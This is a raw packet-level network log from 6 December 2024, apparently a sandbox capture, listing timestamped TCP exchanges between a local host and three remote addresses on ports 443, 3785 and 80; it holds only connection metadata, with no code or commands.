Dec 6, 2024 10:39:27.800957918 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.803426027 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.803488970 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.806155920 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.806241989 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.808779955 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.808878899 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.811171055 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.811245918 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.814358950 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.814444065 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.816890955 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.816965103 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.819325924 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.819415092 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.971704006 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.971797943 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.973511934 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.973615885 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.976100922 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.976181984 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.978462934 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.978538990 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.981652021 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.981746912 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.984114885 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.984177113 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.986680984 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.986758947 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.989819050 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.989901066 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.992275953 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.992362976 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.994822979 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.994946003 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:27.997543097 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:27.997632980 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.000222921 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.000312090 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.002542973 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.002635002 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.005723000 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.005805969 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.008142948 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.008235931 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.010705948 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.010792017 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.013865948 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.013959885 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.165143967 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.165221930 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.167644024 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.167710066 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.170073986 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.170131922 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.173377991 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.173441887 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.175690889 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.175748110 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.178201914 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.178330898 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.180608034 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.180666924 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.183974028 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.184087992 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.186328888 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.186397076 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.189152956 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.189225912 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.191700935 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.191776037 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.194545984 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.194614887 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.196911097 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.197387934 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.197451115 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.199755907 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.199817896 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.202276945 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.202342033 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.204756021 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.204840899 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.213278055 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.356813908 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.356894970 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.359045982 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.359112978 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.361706018 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.361763954 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.364754915 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.364836931 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.367187977 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.367265940 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.369728088 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.369822025 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.372176886 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.372241020 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.375353098 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.375428915 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.378098965 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.378212929 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.380361080 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.380446911 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.383176088 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.383258104 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.385611057 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.385679007 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.388784885 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.388861895 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.391288996 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.391356945 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.393799067 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.393863916 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.396249056 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.396315098 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.400665045 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.548784971 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.548959017 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.550465107 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.550533056 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.553133965 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.553212881 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.555746078 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.555809021 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.558645010 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.558708906 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.561148882 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.561217070 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.563776970 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.563868999 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.566873074 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.566931963 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.569219112 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.569288015 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.571687937 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.571796894 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:28.572161913 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.874792099 CET	49712	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:28.874861956 CET	443	49712	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:29.167548895 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:29.167602062 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:29.167687893 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:29.167928934 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:29.167941093 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:30.522063017 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:30.522181988 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:30.523332119 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:30.523350954 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:30.523533106 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:30.523538113 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.029844046 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.029867887 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.029906988 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.029942036 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.029958963 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.029978037 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.221801043 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.221883059 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.251202106 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.251293898 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.276197910 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.276431084 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.301455021 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.301554918 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.425152063 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.425229073 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.439861059 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.439929962 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.454396963 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.454468012 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.469052076 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.469116926 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.489742994 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.489804983 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.504204988 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.504266024 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.607860088 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.607938051 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.619445086 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.619544029 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.633754969 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.633817911 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.643688917 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.643780947 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.653640032 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.653706074 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.663707972 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.663775921 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.671749115 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.671813011 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.677951097 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.678029060 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.684238911 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.684305906 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.692478895 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.692549944 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.697757006 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.697843075 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.798939943 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.799009085 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.806621075 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.806680918 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.812627077 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.812685013 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.817912102 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.817986012 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.824587107 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.824655056 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.829474926 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.829544067 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.834563017 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.834620953 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.839519978 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.839579105 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.845856905 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.845918894 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.847721100 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.847765923 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.847780943 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.847798109 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.847820997 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.847845078 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.848997116 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.849011898 CET	443	49723	23.254.224.41	192.168.2.6
Dec 6, 2024 10:39:31.849020958 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:31.849055052 CET	49723	443	192.168.2.6	23.254.224.41
Dec 6, 2024 10:39:33.161843061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:39:33.281702042 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:33.281861067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:39:33.662902117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:39:33.782881021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:34.522228956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:34.524193048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:39:34.549295902 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:39:34.649564028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:34.670861006 CET	80	49744	104.26.1.231	192.168.2.6
Dec 6, 2024 10:39:34.670936108 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:39:34.675899982 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:39:34.796360970 CET	80	49744	104.26.1.231	192.168.2.6
Dec 6, 2024 10:39:34.919693947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:34.939225912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:39:35.059127092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:39:36.063910961 CET	80	49744	104.26.1.231	192.168.2.6
Dec 6, 2024 10:39:36.064011097 CET	49744	80	192.168.2.6	104.26.1.231
Dec 6, 2024 10:40:23.621627092 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:23.741364002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:33.055480957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:33.175141096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:34.464438915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:34.584223986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:34.665472984 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:34.765435934 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:34.866447926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:34.916999102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:34.966443062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:34.979803085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:34.986212015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.067455053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.086349010 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.167428970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.187135935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.268713951 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.287305117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.368585110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.388551950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.469504118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.488337994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.569480896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.589432001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.670510054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.689224958 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.770486116 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.790437937 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.871478081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.890434980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:35.972440004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:35.991384983 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.073446035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.092176914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.173444986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.193360090 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.273468018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.293250084 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.374439955 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.393259048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.474462032 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.495667934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.575614929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.595555067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.676451921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.695554018 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.777447939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.796260118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.877453089 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.897633076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:36.977463007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:36.997253895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.077559948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.099793911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.177470922 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.197376013 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.277548075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.297293901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.378500938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.397316933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.478492975 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.498763084 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.579499960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.598576069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.679477930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.699683905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.779481888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.799411058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.880491018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:37.899241924 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:37.980473995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.000441074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.083992958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.100451946 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.181462049 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.203819036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.281498909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.301383018 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.383368969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.401360035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.483608007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.503359079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.583661079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.605386972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.684489965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.703911066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.784478903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.805401087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.885472059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:38.904500008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:38.987410069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.005350113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.086468935 CET	49737	3785	192.168.2.6	88.210.12.58
